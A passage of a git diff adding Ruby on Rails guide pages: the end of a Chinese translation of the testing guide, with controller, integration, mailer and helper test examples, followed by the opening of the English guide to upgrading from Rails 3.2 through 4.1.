  • +@request:请求对象;
  • +
  • +@response:响应对象;
  • +
+

4.5 设置报头和 CGI 变量

HTTP 报头CGI 变量可以通过 @request 实例变量设置:

+
+# setting a HTTP Header
+@request.headers["Accept"] = "text/plain, text/html"
+get :index # simulate the request with custom header
+
+# setting a CGI variable
+@request.headers["HTTP_REFERER"] = "http://example.com/home"
+post :create # simulate the request with custom env variable
+
+
+
+

4.6 测试模板和布局

如果想测试响应是否使用正确的模板和布局渲染,可以使用 assert_template 方法:

+
+test "index should render correct template and layout" do
+  get :index
+  assert_template :index
+  assert_template layout: "layouts/application"
+end
+
+
+
+

注意,不能在 assert_template 方法中同时测试模板和布局。测试布局时,可以使用正则表达式代替字符串,不过字符串的意思更明了。即使布局保存在标准位置,也要包含文件夹的名字,所以 assert_template layout: "application" 不是正确的写法。

如果视图中用到了局部视图,测试布局时必须指定局部视图,否则测试会失败。所以,如果用到了 _form 局部视图,下面的断言写法才是正确的:

+
+test "new should render correct layout" do
+  get :new
+  assert_template layout: "layouts/application", partial: "_form"
+end
+
+
+
+

如果没有指定 :partialassert_template 会报错。

4.7 完整的功能测试示例

下面这个例子用到了 flashassert_redirected_toassert_difference

+
+test "should create post" do
+  assert_difference('Post.count') do
+    post :create, post: {title: 'Hi', body: 'This is my first post.'}
+  end
+  assert_redirected_to post_path(assigns(:post))
+  assert_equal 'Post was successfully created.', flash[:notice]
+end
+
+
+
+

4.8 测试视图

测试请求的响应中是否出现关键的 HTML 元素和相应的内容是测试程序视图的一种有效方式。assert_select 断言可以完成这种测试,其句法简单而强大。

你可能在其他文档中见到过 assert_tag,因为 assert_select 断言的出现,assert_tag 现已弃用。

assert_select 有两种用法:

assert_select(selector, [equality], [message]) 测试 selector 选中的元素是否符合 equality 指定的条件。selector 可以是 CSS 选择符表达式(字符串),有代入值的表达式,或者 HTML::Selector 对象。

assert_select(element, selector, [equality], [message]) 测试 selector 选中的元素和 elementHTML::Node 实例)及其子元素是否符合 equality 指定的条件。

例如,可以使用下面的断言检测 title 元素的内容:

+
+assert_select 'title', "Welcome to Rails Testing Guide"
+
+
+
+

assert_select 的代码块还可嵌套使用。这时内层的 assert_select 会在外层 assert_select 块选中的元素集合上运行断言:

+
+assert_select 'ul.navigation' do
+  assert_select 'li.menu_item'
+end
+
+
+
+

除此之外,还可以遍历外层 assert_select 选中的元素集合,这样就可以在集合的每个元素上运行内层 assert_select 了。假如响应中有两个有序列表,每个列表中都有 4 各列表项,那么下面这两个测试都会通过:

+
+assert_select "ol" do |elements|
+  elements.each do |element|
+    assert_select element, "li", 4
+  end
+end
+
+assert_select "ol" do
+  assert_select "li", 8
+end
+
+
+
+

assert_select 断言很强大,高级用法请参阅文档

4.8.1 其他视图相关的断言

There are more assertions that are primarily used in testing views:

+ + + + + + + + + + + + + + + + + + + + + +
断言作用
assert_select_email检测 Email 的内容
assert_select_encoded检测编码后的 HTML,先解码各元素的内容,然后在代码块中调用每个解码后的元素
+css_select(selector)css_select(element, selector) +返回由 selector 选中的所有元素组成的数组,在后一种用法中,首先会找到 element,然后在其中执行 selector 表达式查找元素,如果没有匹配的元素,两种用法都返回空数组
+

下面是 assert_select_email 断言的用法举例:

+
+assert_select_email do
+  assert_select 'small', 'Please click the "Unsubscribe" link if you want to opt-out.'
+end
+
+
+
+

5 集成测试

集成测试用来测试多个控制器之间的交互,一般用来测试程序中重要的工作流程。

与单元测试和功能测试不同,集成测试必须单独生成,保存在 test/integration 文件夹中。Rails 提供了一个生成器用来生成集成测试骨架。

+
+$ rails generate integration_test user_flows
+      exists  test/integration/
+      create  test/integration/user_flows_test.rb
+
+
+
+

新生成的集成测试如下:

+
+require 'test_helper'
+
+class UserFlowsTest < ActionDispatch::IntegrationTest
+  # test "the truth" do
+  #   assert true
+  # end
+end
+
+
+
+

集成测试继承自 ActionDispatch::IntegrationTest,因此可在测试中使用一些额外的帮助方法。在集成测试中还要自行引入固件,这样才能在测试中使用。

5.1 集成测试中可用的帮助方法

除了标准的测试帮助方法之外,在集成测试中还可使用下列帮助方法:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
帮助方法作用
https?如果模拟的是 HTTPS 请求,返回 true +
https!模拟 HTTPS 请求
host!设置下次请求使用的主机名
redirect?如果上次请求是转向,返回 true +
follow_redirect!跟踪一次转向
request_via_redirect(http_method, path, [parameters], [headers])发起一次 HTTP 请求,并跟踪后续全部转向
post_via_redirect(path, [parameters], [headers])发起一次 HTTP POST 请求,并跟踪后续全部转向
get_via_redirect(path, [parameters], [headers])发起一次 HTTP GET 请求,并跟踪后续全部转向
patch_via_redirect(path, [parameters], [headers])发起一次 HTTP PATCH 请求,并跟踪后续全部转向
put_via_redirect(path, [parameters], [headers])发起一次 HTTP PUT 请求,并跟踪后续全部转向
delete_via_redirect(path, [parameters], [headers])发起一次 HTTP DELETE 请求,并跟踪后续全部转向
open_session创建一个新会话实例
+

5.2 集成测试示例

下面是个简单的集成测试,涉及多个控制器:

+
+require 'test_helper'
+
+class UserFlowsTest < ActionDispatch::IntegrationTest
+  fixtures :users
+
+  test "login and browse site" do
+    # login via https
+    https!
+    get "/login"
+    assert_response :success
+
+    post_via_redirect "/login", username: users(:david).username, password: users(:david).password
+    assert_equal '/welcome', path
+    assert_equal 'Welcome david!', flash[:notice]
+
+    https!(false)
+    get "/posts/all"
+    assert_response :success
+    assert assigns(:products)
+  end
+end
+
+
+
+

如上所述,集成测试涉及多个控制器,而且用到整个程序的各种组件,从数据库到调度程序都有。而且,在同一个测试中还可以创建多个会话实例,还可以使用断言方法创建一种强大的测试 DSL。

下面这个例子用到了多个会话和 DSL:

+
+require 'test_helper'
+
+class UserFlowsTest < ActionDispatch::IntegrationTest
+  fixtures :users
+
+  test "login and browse site" do
+
+    # User david logs in
+    david = login(:david)
+    # User guest logs in
+    guest = login(:guest)
+
+    # Both are now available in different sessions
+    assert_equal 'Welcome david!', david.flash[:notice]
+    assert_equal 'Welcome guest!', guest.flash[:notice]
+
+    # User david can browse site
+    david.browses_site
+    # User guest can browse site as well
+    guest.browses_site
+
+    # Continue with other assertions
+  end
+
+  private
+
+    module CustomDsl
+      def browses_site
+        get "/products/all"
+        assert_response :success
+        assert assigns(:products)
+      end
+    end
+
+    def login(user)
+      open_session do |sess|
+        sess.extend(CustomDsl)
+        u = users(user)
+        sess.https!
+        sess.post "/login", username: u.username, password: u.password
+        assert_equal '/welcome', sess.path
+        sess.https!(false)
+      end
+    end
+end
+
+
+
+

6 运行测试使用的 Rake 任务

你不用一个一个手动运行测试,Rails 提供了很多运行测试的命令。下表列出了新建 Rails 程序后,默认的 Rakefile 中包含的用来运行测试的命令。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
任务说明
rake test运行所有单元测试,功能测试和集成测试。还可以直接运行 rake,因为默认的 Rake 任务就是运行所有测试。
rake test:controllers运行 test/controllers 文件夹中的所有控制器测试
rake test:functionals运行文件夹 test/controllerstest/mailerstest/functional 中的所有功能测试
rake test:helpers运行 test/helpers 文件夹中的所有帮助方法测试
rake test:integration运行 test/integration 文件夹中的所有集成测试
rake test:mailers运行 test/mailers 文件夹中的所有邮件测试
rake test:models运行 test/models 文件夹中的所有模型测试
rake test:units运行文件夹 test/modelstest/helperstest/unit 中的所有单元测试
rake test:all不还原数据库,快速运行所有测试
rake test:all:db还原数据库,快速运行所有测试
+

7 MiniTest 简介

Ruby 提供了很多代码库,Ruby 1.8 提供有 Test::Unit,这是个单元测试框架。前文介绍的所有基本断言都在 Test::Unit::Assertions 中定义。在单元测试和功能测试中使用的 ActiveSupport::TestCase 继承自 Test::Unit::TestCase,因此可在测试中使用所有的基本断言。

Ruby 1.9 引入了 MiniTest,这是 Test::Unit 的改进版本,兼容 Test::Unit。在 Ruby 1.8 中安装 minitest gem 就可使用 MiniTest

关于 Test::Unit 更详细的介绍,请参阅其文档。关于 MiniTest 更详细的介绍,请参阅其文档

8 测试前准备和测试后清理

如果想在每个测试运行之前以及运行之后运行一段代码,可以使用两个特殊的回调。我们以 Posts 控制器的功能测试为例,说明这两个回调的用法:

+
+require 'test_helper'
+
+class PostsControllerTest < ActionController::TestCase
+
+  # called before every single test
+  def setup
+    @post = posts(:one)
+  end
+
+  # called after every single test
+  def teardown
+    # as we are re-initializing @post before every test
+    # setting it to nil here is not essential but I hope
+    # you understand how you can use the teardown method
+    @post = nil
+  end
+
+  test "should show post" do
+    get :show, id: @post.id
+    assert_response :success
+  end
+
+  test "should destroy post" do
+    assert_difference('Post.count', -1) do
+      delete :destroy, id: @post.id
+    end
+
+    assert_redirected_to posts_path
+  end
+
+end
+
+
+
+

在上述代码中,运行各测试之前都会执行 setup 方法,所以在每个测试中都可使用 @post。Rails 以 ActiveSupport::Callbacks 的方式实现 setupteardown,因此这两个方法不仅可以作为方法使用,还可以这么用:

+
    +
  • 代码块
  • +
  • 方法(如上例所示)
  • +
  • 用 Symbol 表示的方法名
  • +
  • Lambda
  • +
+

下面重写前例,为 setup 指定一个用 Symbol 表示的方法名:

+
+require 'test_helper'
+
+class PostsControllerTest < ActionController::TestCase
+
+  # called before every single test
+  setup :initialize_post
+
+  # called after every single test
+  def teardown
+    @post = nil
+  end
+
+  test "should show post" do
+    get :show, id: @post.id
+    assert_response :success
+  end
+
+  test "should update post" do
+    patch :update, id: @post.id, post: {}
+    assert_redirected_to post_path(assigns(:post))
+  end
+
+  test "should destroy post" do
+    assert_difference('Post.count', -1) do
+      delete :destroy, id: @post.id
+    end
+
+    assert_redirected_to posts_path
+  end
+
+  private
+
+    def initialize_post
+      @post = posts(:one)
+    end
+end
+
+
+
+

9 测试路由

和 Rails 程序的其他部分一样,也建议你测试路由。针对前文 Posts 控制器中默认生成的 show 动作,其路由测试如下:

+
+test "should route to post" do
+  assert_routing '/posts/1', {controller: "posts", action: "show", id: "1"}
+end
+
+
+
+

10 测试邮件程序

测试邮件程序需要一些特殊的工具才能完成。

10.1 确保邮件程序在管控内

和其他 Rails 程序的组件一样,邮件程序也要做测试,确保其能正常工作。

测试邮件程序的目的是:

+
    +
  • 确保处理了邮件(创建及发送)
  • +
  • 确保邮件内容正确(主题,发件人,正文等)
  • +
  • 确保在正确的时间发送正确的邮件;
  • +
+
10.1.1 要全面测试

针对邮件程序的测试分为两部分:单元测试和功能测试。在单元测试中,单独运行邮件程序,严格控制输入,然后和已知值(固件)对比。在功能测试中,不用这么细致的测试,只要确保控制器和模型正确的使用邮件程序,在正确的时间发送正确的邮件。

10.2 单元测试

要想测试邮件程序是否能正常使用,可以把邮件程序真正得到的记过和预先写好的值进行对比。

10.2.1 固件的另一个用途

在单元测试中,固件用来设定期望得到的值。因为这些固件是示例邮件,不是 Active Record 数据,所以要和其他固件分开,放在单独的子文件夹中。这个子文件夹位于 test/fixtures 文件夹中,其名字来自邮件程序。例如,邮件程序 UserMailer 使用的固件保存在 test/fixtures/user_mailer 文件夹中。

生成邮件程序时,会为其中每个动作生成相应的固件。如果没使用生成器,就要手动创建固件。

10.2.2 基本测试

下面的单元测试针对 UserMailerinvite 动作,这个动作的作用是向朋友发送邀请。这段代码改进了生成器为 invite 动作生成的测试。

+
+require 'test_helper'
+
+class UserMailerTest < ActionMailer::TestCase
+  test "invite" do
+    # Send the email, then test that it got queued
+    email = UserMailer.create_invite('me@example.com',
+                                     'friend@example.com', Time.now).deliver
+    assert_not ActionMailer::Base.deliveries.empty?
+
+    # Test the body of the sent email contains what we expect it to
+    assert_equal ['me@example.com'], email.from
+    assert_equal ['friend@example.com'], email.to
+    assert_equal 'You have been invited by me@example.com', email.subject
+    assert_equal read_fixture('invite').join, email.body.to_s
+  end
+end
+
+
+
+

在这个测试中,我们发送了一封邮件,并把返回对象赋值给 email 变量。在第一个断言中确保邮件已经发送了;在第二段断言中,确保邮件包含了期望的内容。read_fixture 这个帮助方法的作用是从指定的文件中读取固件。

invite 固件的内容如下:

+
+Hi friend@example.com,
+
+You have been invited.
+
+Cheers!
+
+
+
+

现在我们稍微深入一点地介绍针对邮件程序的测试。在文件 config/environments/test.rb 中,有这么一行设置:ActionMailer::Base.delivery_method = :test。这行设置把发送邮件的方法设为 :test,所以邮件并不会真的发送出去(避免测试时骚扰用户),而是添加到一个数组中(ActionMailer::Base.deliveries)。

ActionMailer::Base.deliveries 数组只会在 ActionMailer::TestCase 测试中自动重设,如果想在测试之外使用空数组,可以手动重设:ActionMailer::Base.deliveries.clear

10.3 功能测试

功能测试不只是测试邮件正文和收件人等是否正确这么简单。在针对邮件程序的功能测试中,要调用发送邮件的方法,检查相应的邮件是否出现在发送列表中。你可以尽情放心地假定发送邮件的方法本身能顺利完成工作。你需要重点关注的是程序自身的业务逻辑,确保能在期望的时间发出邮件。例如,可以使用下面的代码测试要求朋友的操作是否发出了正确的邮件:

+
+require 'test_helper'
+
+class UserControllerTest < ActionController::TestCase
+  test "invite friend" do
+    assert_difference 'ActionMailer::Base.deliveries.size', +1 do
+      post :invite_friend, email: 'friend@example.com'
+    end
+    invite_email = ActionMailer::Base.deliveries.last
+
+    assert_equal "You have been invited by me@example.com", invite_email.subject
+    assert_equal 'friend@example.com', invite_email.to[0]
+    assert_match(/Hi friend@example.com/, invite_email.body)
+  end
+end
+
+
+
+

11 测试帮助方法

针对帮助方法的测试,只需检测帮助方法的输出和预想的值是否一致,所需的测试文件保存在 test/helpers 文件夹中。Rails 提供了一个生成器,用来生成帮助方法和测试文件:

+
+$ rails generate helper User
+      create  app/helpers/user_helper.rb
+      invoke  test_unit
+      create    test/helpers/user_helper_test.rb
+
+
+
+

生成的测试文件内容如下:

+
+require 'test_helper'
+
+class UserHelperTest < ActionView::TestCase
+end
+
+
+
+

帮助方法就是可以在视图中使用的方法。要测试帮助方法,要按照如下的方式混入相应的模块:

+
+class UserHelperTest < ActionView::TestCase
+  include UserHelper
+
+  test "should return the user name" do
+    # ...
+  end
+end
+
+
+
+

而且,因为测试类继承自 ActionView::TestCase,所以在测试中可以使用 Rails 内建的帮助方法,例如 link_topluralize

12 其他测试方案

Rails 内建基于 test/unit 的测试并不是唯一的测试方式。Rails 开发者发明了很多方案,开发了很多协助测试的代码库,例如:

+
    +
  • +NullDB:提升测试速度的一种方法,不使用数据库;
  • +
  • +Factory Girl:固件的替代品;
  • +
  • +Machinist:另一个固件替代品;
  • +
  • +Fixture Builder:运行测试前把预构件(factory)转换成固件的工具
  • +
  • +MiniTest::Spec Rails:在 Rails 测试中使用 MiniTest::Spec 这套 DSL;
  • +
  • +Shoulda:对 test/unit 的扩展,提供了额外的帮助方法,断言等;
  • +
  • +RSpec:行为驱动开发(Behavior-Driven Development,BDD)框架;
  • +
+ + +

反馈

+

+ 欢迎帮忙改善指南质量。 +

+

+ 如发现任何错误,欢迎修正。开始贡献前,可先行阅读贡献指南:文档。 +

+

翻译如有错误,深感抱歉,欢迎 Fork 修正,或至此处回报

+

+ 文章可能有未完成或过时的内容。请先检查 Edge Guides 来确定问题在 master 是否已经修掉了。再上 master 补上缺少的文件。内容参考 Ruby on Rails 指南准则来了解行文风格。 +

+

最后,任何关于 Ruby on Rails 文档的讨论,欢迎到 rubyonrails-docs 邮件群组。 +

+
+
+
+ +
+ + + + + + + + + + + + + + diff --git a/v4.1/upgrading_ruby_on_rails.html b/v4.1/upgrading_ruby_on_rails.html new file mode 100644 index 0000000..c23c313 --- /dev/null +++ b/v4.1/upgrading_ruby_on_rails.html @@ -0,0 +1,1073 @@ + + + + + + + +A Guide for Upgrading Ruby on Rails — Ruby on Rails 指南 + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ + +
+ +
+
+

A Guide for Upgrading Ruby on Rails

This guide provides steps to be followed when you upgrade your applications to a newer version of Ruby on Rails. These steps are also available in individual release guides.

+ + + +
+
+ +
+
+
+

1 General Advice

Before attempting to upgrade an existing application, you should be sure you have a good reason to upgrade. You need to balance out several factors: the need for new features, the increasing difficulty of finding support for old code, and your available time and skills, to name a few.

1.1 Test Coverage

The best way to be sure that your application still works after upgrading is to have good test coverage before you start the process. If you don't have automated tests that exercise the bulk of your application, you'll need to spend time manually exercising all the parts that have changed. In the case of a Rails upgrade, that will mean every single piece of functionality in the application. Do yourself a favor and make sure your test coverage is good before you start an upgrade.

1.2 Ruby Versions

Rails generally stays close to the latest released Ruby version when it's released:

+
    +
  • Rails 3 and above require Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially. You should upgrade as early as possible.
  • +
  • Rails 3.2.x is the last branch to support Ruby 1.8.7.
  • +
  • Rails 4 prefers Ruby 2.0 and requires 1.9.3 or newer.
  • +
+

Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump straight to 1.9.3 for smooth sailing.

1.3 The Rake Task

Rails provides the rails:update rake task. After updating the Rails version +in the Gemfile, run this rake task. +This will help you with the creation of new files and changes of old files in a +interactive session.

+
+$ rake rails:update
+   identical  config/boot.rb
+       exist  config
+    conflict  config/routes.rb
+Overwrite /myapp/config/routes.rb? (enter "h" for help) [Ynaqdh]
+       force  config/routes.rb
+    conflict  config/application.rb
+Overwrite /myapp/config/application.rb? (enter "h" for help) [Ynaqdh]
+       force  config/application.rb
+    conflict  config/environment.rb
+...
+
+
+
+

Don't forget to review the difference, to see if there were any unexpected changes.

2 Upgrading from Rails 4.1 to Rails 4.2

This section is a work in progress.

3 Upgrading from Rails 4.0 to Rails 4.1

3.1 CSRF protection from remote <script> tags

Or, "whaaat my tests are failing!!!?"

Cross-site request forgery (CSRF) protection now covers GET requests with +JavaScript responses, too. That prevents a third-party site from referencing +your JavaScript URL and attempting to run it to extract sensitive data.

This means that your functional and integration tests that use

+
+get :index, format: :js
+
+
+
+

will now trigger CSRF protection. Switch to

+
+xhr :get, :index, format: :js
+
+
+
+

to explicitly test an XmlHttpRequest.

If you really mean to load JavaScript from remote <script> tags, skip CSRF +protection on that action.

3.2 Spring

If you want to use Spring as your application preloader you need to:

+
    +
  1. Add gem 'spring', group: :development to your Gemfile.
  2. +
  3. Install spring using bundle install.
  4. +
  5. Springify your binstubs with bundle exec spring binstub --all.
  6. +
+

User defined rake tasks will run in the development environment by +default. If you want them to run in other environments consult the +Spring README.

3.3 config/secrets.yml +

If you want to use the new secrets.yml convention to store your application's +secrets, you need to:

+
    +
  1. +

    Create a secrets.yml file in your config folder with the following content:

    +
    +
    +development:
    +  secret_key_base:
    +
    +test:
    +  secret_key_base:
    +
    +production:
    +  secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>
    +
    +
    +
    +
  2. +
  3. Use your existing secret_key_base from the secret_token.rb initializer to +set the SECRET_KEY_BASE environment variable for whichever users run the Rails +app in production mode. Alternately, you can simply copy the existing +secret_key_base from the secret_token.rb initializer to secrets.yml +under the production section, replacing '<%= ENV["SECRET_KEY_BASE"] %>'.

  4. +
  5. Remove the secret_token.rb initializer.

  6. +
  7. Use rake secret to generate new keys for the development and test sections.

  8. +
  9. Restart your server.

  10. +
+

3.4 Changes to test helper

If your test helper contains a call to +ActiveRecord::Migration.check_pending! this can be removed. The check +is now done automatically when you require 'test_help', although +leaving this line in your helper is not harmful in any way.

3.5 Cookies serializer

Applications created before Rails 4.1 uses Marshal to serialize cookie values into +the signed and encrypted cookie jars. If you want to use the new JSON-based format +in your application, you can add an initializer file with the following content:

+
+Rails.application.config.action_dispatch.cookies_serializer = :hybrid
+
+
+
+

This would transparently migrate your existing Marshal-serialized cookies into the +new JSON-based format.

When using the :json or :hybrid serializer, you should beware that not all +Ruby objects can be serialized as JSON. For example, Date and Time objects +will be serialized as strings, and Hashes will have their keys stringified.

+
+class CookiesController < ApplicationController
+  def set_cookie
+    cookies.encrypted[:expiration_date] = Date.tomorrow # => Thu, 20 Mar 2014
+    redirect_to action: 'read_cookie'
+  end
+
+  def read_cookie
+    cookies.encrypted[:expiration_date] # => "2014-03-20"
+  end
+end
+
+
+
+

It's advisable that you only store simple data (strings and numbers) in cookies. +If you have to store complex objects, you would need to handle the conversion +manually when reading the values on subsequent requests.

If you use the cookie session store, this would apply to the session and +flash hash as well.

3.6 Flash structure changes

Flash message keys are +normalized to strings. They +can still be accessed using either symbols or strings. Looping through the flash +will always yield string keys:

+
+flash["string"] = "a string"
+flash[:symbol] = "a symbol"
+
+# Rails < 4.1
+flash.keys # => ["string", :symbol]
+
+# Rails >= 4.1
+flash.keys # => ["string", "symbol"]
+
+
+
+

Make sure you are comparing Flash message keys against strings.

3.7 Changes in JSON handling

There are a few major changes related to JSON handling in Rails 4.1.

3.7.1 MultiJSON removal

MultiJSON has reached its end-of-life +and has been removed from Rails.

If your application currently depend on MultiJSON directly, you have a few options:

+
    +
  1. Add 'multi_json' to your Gemfile. Note that this might cease to work in the future

  2. +
  3. Migrate away from MultiJSON by using obj.to_json, and JSON.parse(str) instead.

  4. +
+

Do not simply replace MultiJson.dump and MultiJson.load with +JSON.dump and JSON.load. These JSON gem APIs are meant for serializing and +deserializing arbitrary Ruby objects and are generally unsafe.

3.7.2 JSON gem compatibility

Historically, Rails had some compatibility issues with the JSON gem. Using +JSON.generate and JSON.dump inside a Rails application could produce +unexpected errors.

Rails 4.1 fixed these issues by isolating its own encoder from the JSON gem. The +JSON gem APIs will function as normal, but they will not have access to any +Rails-specific features. For example:

+
+class FooBar
+  def as_json(options = nil)
+    { foo: 'bar' }
+  end
+end
+
+>> FooBar.new.to_json # => "{\"foo\":\"bar\"}"
+>> JSON.generate(FooBar.new, quirks_mode: true) # => "\"#<FooBar:0x007fa80a481610>\""
+
+
+
+
3.7.3 New JSON encoder

The JSON encoder in Rails 4.1 has been rewritten to take advantage of the JSON +gem. For most applications, this should be a transparent change. However, as +part of the rewrite, the following features have been removed from the encoder:

+
    +
  1. Circular data structure detection
  2. +
  3. Support for the encode_json hook
  4. +
  5. Option to encode BigDecimal objects as numbers instead of strings
  6. +
+

If your application depends on one of these features, you can get them back by +adding the activesupport-json_encoder +gem to your Gemfile.

3.8 Usage of return within inline callback blocks

Previously, Rails allowed inline callback blocks to use return this way:

+
+class ReadOnlyModel < ActiveRecord::Base
+  before_save { return false } # BAD
+end
+
+
+
+

This behaviour was never intentionally supported. Due to a change in the internals +of ActiveSupport::Callbacks, this is no longer allowed in Rails 4.1. Using a +return statement in an inline callback block causes a LocalJumpError to +be raised when the callback is executed.

Inline callback blocks using return can be refactored to evaluate to the +returned value:

+
+class ReadOnlyModel < ActiveRecord::Base
+  before_save { false } # GOOD
+end
+
+
+
+

Alternatively, if return is preferred it is recommended to explicitly define +a method:

+
+class ReadOnlyModel < ActiveRecord::Base
+  before_save :before_save_callback # GOOD
+
+  private
+    def before_save_callback
+      return false
+    end
+end
+
+
+
+

This change applies to most places in Rails where callbacks are used, including +Active Record and Active Model callbacks, as well as filters in Action +Controller (e.g. before_action).

See this pull request for more +details.

3.9 Methods defined in Active Record fixtures

Rails 4.1 evaluates each fixture's ERB in a separate context, so helper methods +defined in a fixture will not be available in other fixtures.

Helper methods that are used in multiple fixtures should be defined on modules +included in the newly introduced ActiveRecord::FixtureSet.context_class, in +test_helper.rb.

+
+class FixtureFileHelpers
+  def file_sha(path)
+    Digest::SHA2.hexdigest(File.read(Rails.root.join('test/fixtures', path)))
+  end
+end
+ActiveRecord::FixtureSet.context_class.send :include, FixtureFileHelpers
+
+
+
+

3.10 I18n enforcing available locales

Rails 4.1 now defaults the I18n option enforce_available_locales to true, +meaning that it will make sure that all locales passed to it must be declared in +the available_locales list.

To disable it (and allow I18n to accept any locale option) add the following +configuration to your application:

+
+config.i18n.enforce_available_locales = false
+
+
+
+

Note that this option was added as a security measure, to ensure user input could +not be used as locale information unless previously known, so it's recommended not +to disable this option unless you have a strong reason for doing so.

3.11 Mutator methods called on Relation

Relation no longer has mutator methods like #map! and #delete_if. Convert +to an Array by calling #to_a before using these methods.

It intends to prevent odd bugs and confusion in code that call mutator +methods directly on the Relation.

+
+# Instead of this
+Author.where(name: 'Hank Moody').compact!
+
+# Now you have to do this
+authors = Author.where(name: 'Hank Moody').to_a
+authors.compact!
+
+
+
+

3.12 Changes on Default Scopes

Default scopes are no longer overridden by chained conditions.

In previous versions when you defined a default_scope in a model +it was overridden by chained conditions in the same field. Now it +is merged like any other scope.

Before:

+
+class User < ActiveRecord::Base
+  default_scope { where state: 'pending' }
+  scope :active, -> { where state: 'active' }
+  scope :inactive, -> { where state: 'inactive' }
+end
+
+User.all
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending'
+
+User.active
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'active'
+
+User.where(state: 'inactive')
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive'
+
+
+
+

After:

+
+class User < ActiveRecord::Base
+  default_scope { where state: 'pending' }
+  scope :active, -> { where state: 'active' }
+  scope :inactive, -> { where state: 'inactive' }
+end
+
+User.all
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending'
+
+User.active
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'active'
+
+User.where(state: 'inactive')
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'inactive'
+
+
+
+

To get the previous behavior it is needed to explicitly remove the +default_scope condition using unscoped, unscope, rewhere or +except.

+
+class User < ActiveRecord::Base
+  default_scope { where state: 'pending' }
+  scope :active, -> { unscope(where: :state).where(state: 'active') }
+  scope :inactive, -> { rewhere state: 'inactive' }
+end
+
+User.all
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending'
+
+User.active
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'active'
+
+User.inactive
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive'
+
+
+
+

3.13 Rendering content from string

Rails 4.1 introduces :plain, :html, and :body options to render. Those +options are now the preferred way to render string-based content, as it allows +you to specify which content type you want the response sent as.

+
    +
  • +render :plain will set the content type to text/plain +
  • +
  • +render :html will set the content type to text/html +
  • +
  • +render :body will not set the content type header.
  • +
+

From the security standpoint, if you don't expect to have any markup in your +response body, you should be using render :plain as most browsers will escape +unsafe content in the response for you.

We will be deprecating the use of render :text in a future version. So please +start using the more precise :plain:, :html, and :body options instead. +Using render :text may pose a security risk, as the content is sent as +text/html.

3.14 PostgreSQL json and hstore datatypes

Rails 4.1 will map json and hstore columns to a string-keyed Ruby Hash. +In earlier versions a HashWithIndifferentAccess was used. This means that +symbol access is no longer supported. This is also the case for +store_accessors based on top of json or hstore columns. Make sure to use +string keys consistently.

3.15 Explicit block use for ActiveSupport::Callbacks +

Rails 4.1 now expects an explicit block to be passed when calling +ActiveSupport::Callbacks.set_callback. This change stems from +ActiveSupport::Callbacks being largely rewritten for the 4.1 release.

+
+# Previously in Rails 4.0
+set_callback :save, :around, ->(r, &block) { stuff; result = block.call; stuff }
+
+# Now in Rails 4.1
+set_callback :save, :around, ->(r, block) { stuff; result = block.call; stuff }
+
+
+
+

4 Upgrading from Rails 3.2 to Rails 4.0

If your application is currently on any version of Rails older than 3.2.x, you should upgrade to Rails 3.2 before attempting one to Rails 4.0.

The following changes are meant for upgrading your application to Rails 4.0.

4.1 HTTP PATCH

Rails 4 now uses PATCH as the primary HTTP verb for updates when a RESTful +resource is declared in config/routes.rb. The update action is still used, +and PUT requests will continue to be routed to the update action as well. +So, if you're using only the standard RESTful routes, no changes need to be made:

+
+resources :users
+
+
+
+
+
+<%= form_for @user do |f| %>
+
+
+
+
+
+class UsersController < ApplicationController
+  def update
+    # No change needed; PATCH will be preferred, and PUT will still work.
+  end
+end
+
+
+
+

However, you will need to make a change if you are using form_for to update +a resource in conjunction with a custom route using the PUT HTTP method:

+
+resources :users, do
+  put :update_name, on: :member
+end
+
+
+
+
+
+<%= form_for [ :update_name, @user ] do |f| %>
+
+
+
+
+
+class UsersController < ApplicationController
+  def update_name
+    # Change needed; form_for will try to use a non-existent PATCH route.
+  end
+end
+
+
+
+

If the action is not being used in a public API and you are free to change the +HTTP method, you can update your route to use patch instead of put:

PUT requests to /users/:id in Rails 4 get routed to update as they are +today. So, if you have an API that gets real PUT requests it is going to work. +The router also routes PATCH requests to /users/:id to the update action.

+
+resources :users do
+  patch :update_name, on: :member
+end
+
+
+
+

If the action is being used in a public API and you can't change to HTTP method +being used, you can update your form to use the PUT method instead:

+
+<%= form_for [ :update_name, @user ], method: :put do |f| %>
+
+
+
+

For more on PATCH and why this change was made, see this post +on the Rails blog.

4.1.1 A note about media types

The errata for the PATCH verb specifies that a 'diff' media type should be +used with PATCH. One +such format is JSON Patch. While Rails +does not support JSON Patch natively, it's easy enough to add support:

+
+# in your controller
+def update
+  respond_to do |format|
+    format.json do
+      # perform a partial update
+      @article.update params[:article]
+    end
+
+    format.json_patch do
+      # perform sophisticated change
+    end
+  end
+end
+
+# In config/initializers/json_patch.rb:
+Mime::Type.register 'application/json-patch+json', :json_patch
+
+
+
+

As JSON Patch was only recently made into an RFC, there aren't a lot of great +Ruby libraries yet. Aaron Patterson's +hana is one such gem, but doesn't have +full support for the last few changes in the specification.

4.2 Gemfile

Rails 4.0 removed the assets group from Gemfile. You'd need to remove that +line from your Gemfile when upgrading. You should also update your application +file (in config/application.rb):

+
+# Require the gems listed in Gemfile, including any gems
+# you've limited to :test, :development, or :production.
+Bundler.require(:default, Rails.env)
+
+
+
+

4.3 vendor/plugins

Rails 4.0 no longer supports loading plugins from vendor/plugins. You must replace any plugins by extracting them to gems and adding them to your Gemfile. If you choose not to make them gems, you can move them into, say, lib/my_plugin/* and add an appropriate initializer in config/initializers/my_plugin.rb.

4.4 Active Record

+
    +
